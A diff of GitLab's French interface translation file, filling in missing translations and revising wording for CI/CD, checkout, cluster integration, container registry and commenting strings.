@@ -7506,7 +7641,7 @@ msgid "CICDAnalytics|Shared runner duration is the total runtime of all jobs tha
msgstr "La durée prise par les exécuteurs partagés correspond au temps d'exécution total de toutes les tâches qui ont été lancées par les exécuteurs partagés"
msgid "CICDAnalytics|Shared runner pipeline minute duration by month"
-msgstr ""
+msgstr "Durée des minutes des pipelines sur les exécuteurs partagés par mois"
msgid "CICDAnalytics|Something went wrong while fetching release statistics"
msgstr "Une erreur s’est produite lors de la récupération des statistiques de publication"
@@ -7530,7 +7665,7 @@ msgid "CICD|Auto DevOps"
msgstr "Auto DevOps"
msgid "CICD|Automatic deployment to staging, manual deployment to production"
-msgstr "Déploiement automatique pour « staging », déploiement manuel pour la production"
+msgstr "Déploiement automatique pour la préproduction, déploiement manuel pour la production"
msgid "CICD|Continuous deployment to production"
msgstr "Déploiement continu en production"
@@ -7653,7 +7788,7 @@ msgid "CampfireService|The %{code_open}.campfirenow.com%{code_close} subdomain."
msgstr "Le sous-domaine %{code_open}.campfirenow.com%{code_close}."
msgid "Can be manually deployed to"
-msgstr ""
+msgstr "Peut être déployé manuellement sur"
msgid "Can be overridden in each project."
msgstr "Peut être outrepassé dans chaque projet."
@@ -7737,7 +7872,7 @@ msgid "Cancel and close"
msgstr "Annuler et fermer"
msgid "Cancel downstream pipeline"
-msgstr ""
+msgstr "Annuler le pipeline en aval"
msgid "Cancel editing"
msgstr "Annuler l'édition"
@@ -7803,7 +7938,7 @@ msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr "Impossible de rendre l'épopée confidentielle si elle contient des tickets non confidentiels"
msgid "Cannot merge"
-msgstr ""
+msgstr "Ne peut pas fusionner"
msgid "Cannot modify %{profile_name} referenced in security policy"
msgstr "Impossible de modifier %{profile_name} référencé dans la stratégie de sécurité"
@@ -7820,17 +7955,20 @@ msgstr "Impossible de promouvoir le ticket car il n'appartient à aucun groupe."
msgid "Cannot promote issue due to insufficient permissions."
msgstr "Impossible de promouvoir le ticket en raison d'autorisations insuffisantes."
+msgid "Cannot push to source branch"
+msgstr "Impossible de pousser sur la branche source"
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr "Impossible de faire référence à un jalon de groupe avec un id interne !"
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
-msgstr ""
+msgstr "Impossible d'afficher l'aperçu. Pour des prévisualisations sur des fichiers d'esquisses, ceux-ci doivent être au format de fichier introduit par Sketch version 43 ou supérieure."
msgid "Cannot skip two factor authentication setup"
-msgstr ""
+msgstr "Impossible d'ignorer la configuration de l'authentification à deux facteurs"
msgid "Capacity threshold"
-msgstr ""
+msgstr "Seuil de capacité"
msgid "Card holder name"
msgstr "Nom du titulaire de la carte"
@@ -7875,7 +8013,7 @@ msgid "Certificate Issuer"
msgstr "Émetteur du certificat"
msgid "Certificate Subject"
-msgstr ""
+msgstr "Objet du certificat"
msgid "Change Failure Rate"
msgstr "Taux d’échec des changements"
@@ -7890,7 +8028,7 @@ msgid "Change assignee(s)."
msgstr "Changer le(s) assigné(s)."
msgid "Change branches"
-msgstr ""
+msgstr "Changer de branches"
msgid "Change label"
msgstr "Modifier l'étiquette"
@@ -7914,7 +8052,7 @@ msgid "Change role"
msgstr "Changer le rôle"
msgid "Change status"
-msgstr ""
+msgstr "Modifier l'état"
msgid "Change subscription"
msgstr "Modifier l'abonnement"
@@ -7931,14 +8069,11 @@ msgstr "Modifiez votre mot de passe"
msgid "Change your password or recover your current one"
msgstr "Modifiez votre mot de passe ou réinitialisez votre mot de passe actuel"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr "Le Relecteur est passé de %{old} à %{new}"
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr "Le Relecteur est modifié pour %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
+msgstr "%{added_reviewers_text}%{removed_reviewers_text}"
-msgid "ChangeReviewer|Unassigned"
-msgstr "Non assigné(s)"
+msgid "ChangeReviewer|All reviewers were removed."
+msgstr "Tous les relecteurs ont été supprimés."
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Picorer"
@@ -7962,7 +8097,7 @@ msgid "ChangeTypeAction|Search branches"
msgstr "Rechercher des branches"
msgid "ChangeTypeAction|Search projects"
-msgstr ""
+msgstr "Rechercher des projets"
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr "Démarrer une %{newMergeRequest} avec ces modifications"
@@ -7983,7 +8118,7 @@ msgid "Changed"
msgstr ""
msgid "Changed assignee(s)."
-msgstr ""
+msgstr "Assigné(s) changé(s)."
msgid "Changed merge method to %{merge_method}"
msgstr ""
@@ -8025,7 +8160,7 @@ msgid "Characters left"
msgstr "Caractères restants"
msgid "Characters over limit"
-msgstr ""
+msgstr "Caractères au-delà de la limite"
msgid "Charts can't be displayed as the request for data has timed out. %{documentationLink}"
msgstr "Les graphiques ne peuvent pas être affichés car la requête pour accéder aux données a expiré. %{documentationLink}"
@@ -8037,10 +8172,10 @@ msgid "ChatMessage|%{project_link}: Pipeline %{pipeline_link} of %{ref_type} %{r
msgstr ""
msgid "ChatMessage|Branch"
-msgstr ""
+msgstr "Branche"
msgid "ChatMessage|Commit"
-msgstr ""
+msgstr "Commit"
msgid "ChatMessage|Failed job"
msgstr ""
@@ -8049,19 +8184,19 @@ msgid "ChatMessage|Failed stage"
msgstr ""
msgid "ChatMessage|Invalid CI config YAML file"
-msgstr ""
+msgstr "Le fichier YAML de configuration CI n'est pas valide"
msgid "ChatMessage|Pipeline #%{pipeline_id} %{humanized_status} in %{duration}"
-msgstr ""
+msgstr "Pipeline #%{pipeline_id} %{humanized_status} en %{duration}"
msgid "ChatMessage|Pipeline %{pipeline_link} of %{ref_type} %{ref_link} by %{user_combined_name} %{humanized_status}"
msgstr ""
msgid "ChatMessage|Pipeline name"
-msgstr ""
+msgstr "Nom du pipeline"
msgid "ChatMessage|Tag"
-msgstr ""
+msgstr "Étiquette"
msgid "ChatMessage|and [%{count} more](%{pipeline_failed_jobs_url})"
msgstr "et [%{count} de plus](%{pipeline_failed_jobs_url})"
@@ -8070,28 +8205,28 @@ msgid "ChatMessage|has failed"
msgstr "a échoué"
msgid "ChatMessage|has passed"
-msgstr ""
+msgstr "a réussi"
msgid "ChatMessage|has passed with warnings"
-msgstr ""
+msgstr "a réussi avec des avertissements"
msgid "ChatMessage|in %{duration}"
-msgstr ""
+msgstr "en %{duration}"
msgid "ChatMessage|in %{project_link}"
msgstr "dans %{project_link}"
msgid "Check again"
-msgstr ""
+msgstr "Revérifier"
msgid "Check feature availability on namespace plan"
-msgstr ""
+msgstr "Contrôle de la disponibilité des fonctionnalités selon le forfait de l'espace de noms"
msgid "Check out branch"
-msgstr ""
+msgstr "Extraire la branche"
msgid "Check out, review, and merge locally"
-msgstr ""
+msgstr "Extraire, examiner et fusionner localement"
msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr "Vérifiez le fichier %{code_open}elasticsearch.log%{code_close} pour déterminer la raison pour laquelle la migration s'est interrompue puis effectuez des modifications avant de retenter la migration. Une fois la cause de l'échec corrigée, cliquez sur %{strong_open}Retenter la migration%{strong_close} pour qu'une nouvelle tentative en arrière-plan soit planifiée."
@@ -8144,7 +8279,7 @@ msgstr[0] "%d pack de minutes CI"
msgstr[1] "%d packs de minutes CI"
msgid "Checkout|%{cardType} ending in %{lastFourDigits}"
-msgstr ""
+msgstr "%{cardType} finissant par %{lastFourDigits}"
msgid "Checkout|%{name}'s CI minutes"
msgstr "Minutes CI de %{name}"
@@ -8200,7 +8335,7 @@ msgid "Checkout|Calculating your subscription..."
msgstr "Calcul de votre abonnement..."
msgid "Checkout|Checkout"
-msgstr ""
+msgstr "Commander"
msgid "Checkout|City"
msgstr "Ville"
@@ -8212,7 +8347,7 @@ msgid "Checkout|Confirming..."
msgstr "Confirmation..."
msgid "Checkout|Continue to billing"
-msgstr ""
+msgstr "Passer à la facturation"
msgid "Checkout|Continue to payment"
msgstr "Passer au paiement"
@@ -8220,6 +8355,9 @@ msgstr "Passer au paiement"
msgid "Checkout|Country"
msgstr "Pays"
+msgid "Checkout|Coupon code (optional)"
+msgstr "Code du coupon (facultatif)"
+
msgid "Checkout|Create a new group"
msgstr "Créer un nouveau groupe"
@@ -8299,7 +8437,7 @@ msgid "Checkout|Purchase details"
msgstr "Détails de l'achat"
msgid "Checkout|Select"
-msgstr ""
+msgstr "Sélectionner"
msgid "Checkout|State"
msgstr "Département"
@@ -8374,17 +8512,11 @@ msgid "Cherry-pick this merge request"
msgstr "Picorer cette demande de fusion"
msgid "Child"
-msgstr ""
+msgstr "Enfant"
msgid "Child epic"
msgstr "Épopée enfant"
-msgid "Child epic does not exist."
-msgstr "L'épopée enfant n'existe pas."
-
-msgid "Child epic doesn't exist."
-msgstr "L'épopée enfant n'existe pas."
-
msgid "Child issues and epics"
msgstr "Épopées et tickets enfants"
@@ -8434,7 +8566,7 @@ msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr "Choisissez quels dépôts vous voulez connecter pour exécuter des pipelines d’intégration et de livraison continues (CI/CD)."
msgid "Choose your framework"
-msgstr ""
+msgstr "Choisissez votre cadre"
msgid "CiCdAnalytics|Date range: %{range}"
msgstr "Plage de dates : %{range}"
@@ -8464,7 +8596,7 @@ msgid "CiStatusLabel|pending"
msgstr "en attente"
msgid "CiStatusLabel|preparing"
-msgstr ""
+msgstr "en préparation"
msgid "CiStatusLabel|skipped"
msgstr "ignoré"
@@ -8476,13 +8608,13 @@ msgid "CiStatusLabel|waiting for manual action"
msgstr "en attente d’une action manuelle"
msgid "CiStatusLabel|waiting for resource"
-msgstr ""
+msgstr "en attente d'une ressource"
msgid "CiStatusText|blocked"
msgstr "bloqué"
msgid "CiStatusText|canceled"
-msgstr ""
+msgstr "annulé"
msgid "CiStatusText|created"
msgstr "créé"
@@ -8503,13 +8635,13 @@ msgid "CiStatusText|pending"
msgstr "en attente"
msgid "CiStatusText|preparing"
-msgstr ""
+msgstr "en préparation"
msgid "CiStatusText|skipped"
msgstr "ignoré"
msgid "CiStatusText|waiting"
-msgstr ""
+msgstr "en attente"
msgid "CiStatus|running"
msgstr "en cours"
@@ -8518,7 +8650,7 @@ msgid "CiVariables|Cannot use Masked Variable with current value"
msgstr "Impossible d'utiliser une Variable Masquée avec la valeur actuelle"
msgid "CiVariables|Clear inputs"
-msgstr ""
+msgstr "Effacer les entrées"
msgid "CiVariables|Environments"
msgstr "Environnements"
@@ -8554,7 +8686,7 @@ msgid "CiVariables|Remove variable row"
msgstr "Supprimer cette variable"
msgid "CiVariables|Run job again"
-msgstr ""
+msgstr "Exécuter de nouveau la tâche"
msgid "CiVariables|Scope"
msgstr "Portée"
@@ -8568,6 +8700,9 @@ msgstr "État"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr "Ce %{entity} a %{currentVariableCount} variables CI/CD définies. Le nombre maximum de variables par %{entity} est de %{maxVariableLimit}. Pour en ajouter de nouvelles, vous devez réduire le nombre de variables définies."
+msgid "CiVariables|Trigger this manual action"
+msgstr "Déclencher cette action manuelle"
+
msgid "CiVariables|Type"
msgstr "Type"
@@ -8631,7 +8766,7 @@ msgid "Clear all repository checks"
msgstr "Effacer toutes les vérifications de dépôt"
msgid "Clear chart filters"
-msgstr ""
+msgstr "Effacer les filtres du graphique"
msgid "Clear due date"
msgstr "Effacer la date d'échéance"
@@ -8655,7 +8790,7 @@ msgid "Clear start date"
msgstr "Effacer la date de début"
msgid "Clear templates search input"
-msgstr ""
+msgstr "Effacer la saisie de recherche de modèles"
msgid "Clear this checkbox to use a personal access token instead."
msgstr "Décocher cette case pour utiliser un jeton d'accès personnel à la place."
@@ -8693,6 +8828,9 @@ msgstr "Cliquez sur le lien ci-dessous pour confirmer votre adresse de courriel
msgid "Click the link below to confirm your email address."
msgstr "Cliquez sur le lien ci-dessous pour confirmer votre adresse de courriel."
+msgid "Click to expand"
+msgstr "Cliquer pour étendre"
+
msgid "Click to expand it."
msgstr "Cliquez pour l’agrandir."
@@ -8763,7 +8901,7 @@ msgid "Close %{tabname}"
msgstr "Fermer %{tabname}"
msgid "Close design"
-msgstr "Fermer le design"
+msgstr "Fermer l'esquisse"
msgid "Close epic"
msgstr "Clore l’épopée"
@@ -8793,16 +8931,22 @@ msgid "Closed issues"
msgstr "Tickets clos"
msgid "Closed this %{quick_action_target}."
-msgstr ""
+msgstr "Ce(tte) %{quick_action_target} a été fermé(e)."
+
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr "Ce ticket a été fermé. Marqué comme doublon et associé à %{duplicate_param}."
msgid "Closed: %{closed}"
msgstr "Fermés : %{closed}"
msgid "Closes this %{quick_action_target}."
-msgstr ""
+msgstr "Ferme ce(tte) %{quick_action_target}."
+
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr "Ferme ce ticket. Marque comme doublon et associé à %{duplicate_reference}."
msgid "Cloud Run"
-msgstr ""
+msgstr "Cloud Run"
msgid "Cloud SQL instances are fully managed, relational MySQL databases. Google handles replication, patch management, and database management to ensure availability and performance."
msgstr "Les instances Cloud SQL sont des bases de données MySQL relationnelles entièrement gérées. Google prend en charge la réplication, la gestion des correctifs et l'administration de la base de données pour garantir performance et disponibilité."
@@ -8811,7 +8955,7 @@ msgid "Cloud SQL instances are fully managed, relational SQL Server databases. G
msgstr "Les instances Cloud SQL sont des bases de données relationnelles SQL Server entièrement gérées. Google prend en charge la réplication, la gestion des correctifs et l'administration de la base de données pour garantir performance et disponibilité."
msgid "Cloud Storage"
-msgstr ""
+msgstr "Stockage en nuage"
msgid "CloudSeed|All"
msgstr "Tous"
@@ -8961,7 +9105,7 @@ msgid "CloudSeed|Version"
msgstr "Version"
msgid "Cluster"
-msgstr ""
+msgstr "Grappe de serveurs"
msgid "Cluster Health"
msgstr "Santé de la grappe de serveurs"
@@ -8973,7 +9117,7 @@ msgid "Cluster is required for Stages::ClusterEndpointInserter"
msgstr "Une grappe de serveurs est requise pour Stages::ClusterEndpointInserter"
msgid "Cluster level"
-msgstr ""
+msgstr "Niveau de grappe"
msgid "Cluster type must be specified for Stages::ClusterEndpointInserter"
msgstr "Le type de grappe de serveurs doit être spécifié pour Stages::ClusterEndpointInserter"
@@ -9033,10 +9177,10 @@ msgid "ClusterAgents|Agent never connected to GitLab"
msgstr "Agent jamais connecté à GitLab"
msgid "ClusterAgents|Agent version mismatch"
-msgstr ""
+msgstr "Non correspondance des versions des agents"
msgid "ClusterAgents|Agent version mismatch and update"
-msgstr ""
+msgstr "Mise à jour et non correspondance des versions des agents"
msgid "ClusterAgents|Agent version update required"
msgstr "Mise à jour de la version de l'agent requise"
@@ -9174,7 +9318,7 @@ msgid "ClusterAgents|Last contact"
msgstr "Dernier contact"
msgid "ClusterAgents|Learn how to troubleshoot"
-msgstr ""
+msgstr "En savoir plus sur comment dépanner"
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr "Assurez-vous d'utiliser un jeton valide."
@@ -9275,7 +9419,7 @@ msgid "ClusterAgents|Unknown user"
msgstr "Utilisateur inconnu"
msgid "ClusterAgents|Use a Helm version compatible with your Kubernetes version (see %{linkStart}Helm version support policy%{linkEnd})."
-msgstr ""
+msgstr "Utilisez une version de Helm compatible avec votre version de Kubernetes (voir %{linkStart}la politique de support des versions de Helm%{linkEnd})."
msgid "ClusterAgents|Valid access token"
msgstr "Jeton d’accès valide"
@@ -9338,13 +9482,13 @@ msgid "ClusterIntegration|Adding a Kubernetes cluster to your group will automat
msgstr "Une grappe de serveurs Kubernetes ajoutée à votre groupe la rendra automatiquement disponible pour tous vos projets. Vous pourrez utiliser les applications de revue de code, déployer vos applications et exécuter facilement vos pipelines avec tous les projets utilisant la même grappe de serveurs."
msgid "ClusterIntegration|Adding a Kubernetes cluster will automatically share the cluster across all projects. Use review apps, deploy your applications, and easily run your pipelines for all projects using the same cluster."
-msgstr ""
+msgstr "L'ajout d'une grappe de serveurs Kubernetes rendra celle-ci automatiquement disponible pour tous vos projets. Vous pourrez utiliser les applications de revue de code, déployer vos applications et exécuter facilement vos pipelines avec tous les projets utilisant la même grappe de serveurs."
msgid "ClusterIntegration|Adding an integration to your group will share the cluster across all your projects."
msgstr "Ajouter une intégration à votre groupe rendra la grappe de serveurs disponible pour l’ensemble de vos projets."
msgid "ClusterIntegration|Adding an integration will share the cluster across all projects."
-msgstr ""
+msgstr "L'ajout d'une intégration va partager la grappe de serveurs entre tous les projets."
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr "Options avancées de l’intégration de cette grappe de serveurs Kubernetes"
@@ -9353,7 +9497,7 @@ msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts
msgstr "Permettre à GitLab de gérer les espaces de noms et les comptes de service de cette grappe de serveurs."
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
-msgstr ""
+msgstr "Permet à GitLab d'interroger l'instance Prometheus d'une grappe de serveurs spécifiquement configurée pour les métriques."
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -9371,7 +9515,7 @@ msgid "ClusterIntegration|Authentication Error"
msgstr "Erreur d'authentification"
msgid "ClusterIntegration|Base domain"
-msgstr ""
+msgstr "Domaine de base"
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificat d’autorité de certification"
@@ -9466,21 +9610,6 @@ msgstr "La portée de l’environnement est requise."
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Chaque nouveau compte Google Cloud Platform (GCP) reçoit un crédit de 300 US$ sur %{sign_up_link}. En partenariat avec Google, GitLab est en mesure de vous offrir 200 US$ supplémentaires, à la fois pour les nouveaux et les anciens comptes GCP, afin de vous permettre de commencer l’intégration de Google Kubernetes Engine sur GitLab."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr "Échec de la configuration du fournisseur EKS : %{message}"
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Échec de la configuration de la grappe de serveurs Google Kubernetes Engine : %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr "Échec de la récupération de la pile CloudFormation : %{message}"
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Échec de l'exécution de Kubeclient : %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Intégration GitLab"
@@ -9491,7 +9620,7 @@ msgid "ClusterIntegration|GitLab failed to connect to the cluster."
msgstr "GitLab n’a pas pu se connecter à la grappe de serveurs."
msgid "ClusterIntegration|GitLab-managed cluster"
-msgstr ""
+msgstr "Grappe de serveurs gérée par GitLab"
msgid "ClusterIntegration|Google GKE"
msgstr "Google GKE"
@@ -9512,7 +9641,7 @@ msgid "ClusterIntegration|In order to view the health of your cluster, you must
msgstr "Afin de visualiser la santé de votre grappe de serveurs, vous devez d’abord activer Prometheus dans l’onglet Intégrations."
msgid "ClusterIntegration|Instance cluster"
-msgstr ""
+msgstr "Grappe de serveurs de l'instance"
msgid "ClusterIntegration|Integration disabled"
msgstr "Intégration désactivée"
@@ -9521,7 +9650,7 @@ msgid "ClusterIntegration|Integration enabled"
msgstr "Intégration activée"
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
-msgstr ""
+msgstr "Les intégrations vous permettent d'utiliser des applications installées dans votre grappe de serveurs comme faisant partie de votre flux de travail GitLab."
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr "La grappe de serveurs Kubernetes est en cours de création..."
@@ -9545,7 +9674,7 @@ msgid "ClusterIntegration|Make sure your API endpoint is correct"
msgstr "Assurez-vous que votre point de terminaison de l'API est correct"
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
-msgstr ""
+msgstr "Gérez votre grappe de serveurs Kubernetes en visitant %{provider_link}"
msgid "ClusterIntegration|Namespace per environment"
msgstr "Espace de noms par environnement"
@@ -9746,7 +9875,7 @@ msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr "Extrait de code copié. Insérez-le au bon endroit dans le fichier YAML."
msgid "CodeIntelligence|This is the definition"
-msgstr ""
+msgstr "Ceci est la définition"
msgid "CodeNavigation|No references found"
msgstr "Aucune référence trouvée"
@@ -9839,7 +9968,7 @@ msgid "Command"
msgstr "Commande"
msgid "Command line instructions"
-msgstr ""
+msgstr "Instructions en ligne de commande"
msgid "Commands applied"
msgstr "Commandes appliquées"
@@ -9854,7 +9983,7 @@ msgid "Comment & resolve thread"
msgstr "Commenter et résoudre le fil"
msgid "Comment & unresolve thread"
-msgstr ""
+msgstr "Commenter et reprendre le fil de conversation"
msgid "Comment '%{label}' position"
msgstr ""
@@ -9869,22 +9998,22 @@ msgid "Comment is being updated"
msgstr "Le commentaire est en cours de mise à jour"
msgid "Comment on lines %{startLine} to %{endLine}"
-msgstr ""
+msgstr "Commenter les lignes %{startLine} à %{endLine}"
msgid "Comment/Reply (quoting selected text)"
msgstr "Commenter/Répondre (en citant le texte sélectionné)"
msgid "Commenting on files that are only moved or renamed is not supported"
-msgstr ""
+msgstr "Mettre des commentaires sur des fichiers qui ont été seulement déplacés ou renommés n'est pas pris en charge"
msgid "Commenting on files that replace or are replaced by symbolic links is not supported"
-msgstr ""
+msgstr "Mettre des commentaires sur des fichiers qui remplacent, ou qui sont remplacés, par des liens symboliques n'est pas pris en charge"
msgid "Commenting on symbolic links that replace or are replaced by files is not supported"
msgstr "Mettre des commentaires sur des liens symboliques qui remplacent des fichiers, ou qui sont remplacés par des fichiers, n'est pas pris en charge"
msgid "Commenting on this line is not supported"
-msgstr ""
+msgstr "Mettre des commentaires sur cette ligne n'est pas pris en charge"
msgid "Comments"
msgstr "Commentaires"
@@ -9895,7 +10024,7 @@ msgstr[0] "Commit"
msgstr[1] "Commits"
msgid "Commit %{commit_id}"
-msgstr ""
+msgstr "Commit %{commit_id}"
msgid "Commit (when editing commit message)"
msgstr "Valider (lors de l'édition du message de validation)"
@@ -9910,7 +10039,7 @@ msgid "Commit changes"
msgstr "Valider les modifications"
msgid "Commit deleted"
-msgstr ""
+msgstr "Commit supprimé"
msgid "Commit message"
msgstr "Message de commit"
@@ -9949,7 +10078,7 @@ msgid "Commits per weekday"
msgstr "Commits par jour de la semaine"
msgid "Commits to"
-msgstr ""
+msgstr "Validations sur"
msgid "Commits you select appear here. Go to the first tab and select commits to add to this merge request."
msgstr "Les commits que vous sélectionnez apparaissent ici. Allez sur le premier onglet et sélectionnez les commits à ajouter à cette demande de fusion."
@@ -9969,6 +10098,9 @@ msgstr "Aucune demande de fusion associée trouvée"
msgid "Committed by"
msgstr "Commit de"
+msgid "CommonJS module"
+msgstr "Module CommonJS"
+
msgid "Community forum"
msgstr "Forum de la communauté"
@@ -10054,10 +10186,10 @@ msgid "CompareRevisions|There was an error while updating the branch/tag list. P
msgstr "Une erreur s'est produite lors de la mise à jour de la liste des branches/étiquettes. Veuillez réessayer."
msgid "CompareRevisions|View open merge request"
-msgstr ""
+msgstr "Voir la demande de fusion ouverte"
msgid "Complete"
-msgstr ""
+msgstr "Terminé"
msgid "Complete verification to sign in."
msgstr "Terminez la vérification pour vous connecter."
@@ -10165,10 +10297,10 @@ msgid "ComplianceFramework|Add a framework to %{linkStart}%{groupName}%{linkEnd}
msgstr "Ajouter un framework à %{linkStart}%{groupName}%{linkEnd} et il apparaîtra ici."
msgid "ComplianceFramework|Add framework in %{groupName}"
-msgstr ""
+msgstr "Ajouter un cadre de conformité dans %{groupName}"
msgid "ComplianceFramework|After a framework is added to %{linkStart}%{groupName}%{linkEnd}, it will appear here."
-msgstr ""
+msgstr "Dès qu'un cadre de conformité sera ajouté à %{linkStart}%{groupName}%{linkEnd}, il apparaîtra ici."
msgid "ComplianceFramework|Edit compliance framework"
msgstr "Modifier le cadre de conformité"
@@ -10213,7 +10345,7 @@ msgid "Configuration"
msgstr "Configuration"
msgid "Configuration help"
-msgstr ""
+msgstr "Aide à la configuration"
msgid "Configure %{italic_start}What's new%{italic_end} drawer and content."
msgstr "Configurer l'affichage et le contenu des %{italic_start}Nouveautés%{italic_end}."
@@ -10315,7 +10447,7 @@ msgid "Configure settings for Advanced Search with Elasticsearch."
msgstr "Configurer les paramètres de Recherche Avancée avec Elasticsearch."
msgid "Configure specific limits for Files API requests that supersede the general user and IP rate limits."
-msgstr ""
+msgstr "Configurer des limitations spécifiques pour les requêtes à l'API des fichiers pour remplacer celles générales aux IP et utilisateurs."
msgid "Configure specific limits for Git LFS requests that supersede the general user and IP rate limits."
msgstr "Configurer des limitations spécifiques pour les requêtes Git LFS pour remplacer celles générales aux IP et utilisateurs."
@@ -10345,22 +10477,22 @@ msgid "Configure your environments to be deployed to specific geographical regio
msgstr "Configurez vos environnements à déployer dans des régions géographiques spécifiques"
msgid "Confirm"
-msgstr ""
+msgstr "Confirmer"
msgid "Confirm approval"
-msgstr ""
+msgstr "Confirmer l'approbation"
msgid "Confirm destroy application"
-msgstr ""
+msgstr "Confirmer la destruction de l'application"
msgid "Confirm new password"
msgstr "Confirmez le nouveau mot de passe"
msgid "Confirm user"
-msgstr ""
+msgstr "Confirmer l'utilisateur"
msgid "Confirm your account"
-msgstr ""
+msgstr "Confirmer votre compte"
msgid "Confirm your email address"
msgstr "Confirmez votre adresse de courriel"
@@ -10441,7 +10573,7 @@ msgid "Connected"
msgstr ""
msgid "Connecting"
-msgstr ""
+msgstr "Connexion en cours"
msgid "Connecting to terminal sync service"
msgstr "Connexion au service de synchronisation du terminal"
@@ -10462,10 +10594,10 @@ msgid "Connection timed out"
msgstr "La connexion a expiré"
msgid "Consistency guarantee method"
-msgstr ""
+msgstr "Méthode de garantie de cohérence"
msgid "Contact support"
-msgstr ""
+msgstr "Contacter le support"
msgid "Contacts"
msgstr "Contacts"
@@ -10553,7 +10685,7 @@ msgid "ContainerRegistry|Cleanup ran but some tags were not removed"
msgstr "Le nettoyage a été exécuté mais certaines étiquettes n'ont pas été supprimées"
msgid "ContainerRegistry|Cleanup will run %{time}"
-msgstr ""
+msgstr "Le nettoyage s’exécutera %{time}"
msgid "ContainerRegistry|Cleanup will run soon"
msgstr "Le nettoyage sera bientôt exécuté"
@@ -10625,7 +10757,7 @@ msgid "ContainerRegistry|Image repository with no name located at the project UR
msgstr "Dépôt d'image sans nom sur l'URL du projet."
msgid "ContainerRegistry|Image tags"
-msgstr ""
+msgstr "Étiquettes de l'image"
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr "Étiquette non valide : code de hachage de manifeste manquant"
@@ -10683,8 +10815,8 @@ msgstr "Supprimer le dépôt"
msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Supprimer l'étiquette"
+msgstr[1] "Supprimer les étiquettes"
msgid "ContainerRegistry|Remove tags matching:"
msgstr "Supprimer les étiquettes correspondant à :"
@@ -10795,7 +10927,7 @@ msgid "ContainerRegistry|There was an error during the deletion of this image re
msgstr "Une erreur s'est produite lors de la suppression de ce dépôt d'images, veuillez réessayer."
msgid "ContainerRegistry|This image has no active tags"
-msgstr ""
+msgstr "Cette image n'a aucune étiquette active"
msgid "ContainerRegistry|This image repository has failed to be deleted"
msgstr "La suppression de ce dépôt d'images a échoué"
@@ -10822,10 +10954,10 @@ msgid "ContainerRegistry|With the Container Registry, every project can have its
msgstr "Avec le Registre de Conteneurs, chaque projet peut avoir son propre espace de stockage pour ses images Docker. Poussez au moins une image Docker dans un des projets de ce groupe afin qu'elle apparaisse ici. %{docLinkStart}En savoir plus%{docLinkEnd}"
msgid "ContainerRegistry|You are about to remove %{item} tags. Are you sure?"
-msgstr ""
+msgstr "Vous êtes sur le point de supprimer %{item} étiquettes. Êtes-vous sûr(e) ?"
msgid "ContainerRegistry|You are about to remove %{item}. Are you sure?"
-msgstr ""
+msgstr "Vous êtes sur le point de supprimer %{item}. Êtes-vous sûr(e) ?"
msgid "ContainerRegistry|You are about to remove repository %{title}. Once you confirm, this repository will be permanently deleted."
msgstr "Vous êtes sur le point de supprimer le dépôt %{title}. Une fois confirmé, ce dépôt sera définitivement supprimé."
@@ -10860,6 +10992,9 @@ msgstr "Poursuivre l'édition"
msgid "Continue to the next step"
msgstr "Passer à l’étape suivante"
+msgid "Continue with overages"
+msgstr "Continuer avec les dépassements"
+
msgid "Continuous Integration and Deployment"
msgstr "Intégration et déploiement continus"
@@ -10873,10 +11008,10 @@ msgid "Contribution Analytics"
msgstr "Analytique des contributions"
msgid "ContributionAnalytics|%{created} created, %{closed} closed."
-msgstr ""
+msgstr "%{created} créés, %{closed} fermés."
msgid "ContributionAnalytics|%{created} created, %{merged} merged, %{closed} closed."
-msgstr ""
+msgstr "%{created} créées, %{merged} fusionnées, %{closed} fermées."
msgid "ContributionAnalytics|%{pushes}, more than %{commits} by %{contributors}."
msgstr "%{pushes}, plus de %{commits} par %{contributors}."
@@ -10945,7 +11080,7 @@ msgid "Copied"
msgstr "Copie effectuée"
msgid "Copied labels and milestone from %{source_issuable_reference}."
-msgstr ""
